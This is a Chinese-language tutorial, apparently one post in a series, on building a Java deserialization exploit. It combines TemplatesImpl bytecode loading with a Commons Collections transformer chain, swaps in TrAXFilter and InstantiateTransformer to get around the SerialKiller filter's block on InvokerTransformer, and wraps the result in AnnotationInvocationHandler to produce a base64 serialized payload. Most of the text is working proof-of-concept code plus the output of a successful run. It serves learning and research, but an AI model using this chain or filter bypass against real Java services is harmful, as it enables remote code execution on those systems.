利用TemplatesImpl的任意恶意类加载demo 上一篇中学习了利用TemplatesImpl
加载类:
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class TemplatesImplExample { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("base64字节码" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] { code }); setFieldValue(obj, "_name" , "NOT NULL" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
结合之前生成恶意序列化数据的demo:
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" );
可以把它们结合一下 这样就可以实现加载一个自定义的恶意类 执行任何代码:
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.Transformer;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CommonsCollectionsIntro2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("base64字节码" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null , null ) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" ); } }
然而在SerialKiller
反序列化过滤器中 过滤了InvokerTransformer
那么我们可以选用另外一个链子:
Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class [] { Templates.class },new Object [] { obj }) };
尝试利用前面12篇文章学到的知识构造POC
构造POC 先来一个恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {} public Test () { super (); System.out.println("CustomTransletClass loaded" ); } }
在windows中利用如下命令对class文件进行取base64编码:
[Convert ]::ToBase64String([IO.File ]::ReadAllBytes("CustomClass.class" )) -replace "`n|`r"
回忆之前的步骤 我们先将outerMap
触发改为interMap
预填充 这里键名一定要是"value"
:
Transformer transformerChain = new ChainedTransformer (transformers);Map innerMap = new HashMap ();innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain);
再利用AnnotationInvocationHandler
自动触发outermMap
的填充
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
将handler
序列化并转为base64:
ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(handler); oos.close(); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
测试:
byte [] payload = Base64.getDecoder().decode("上一步输出的base64" );ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (payload));ois.readObject();
成功输出:
CustomTransletClass loaded Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newInstance' on 'class java.lang.reflect.Constructor' threw an exception at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:133) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123) at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204) ...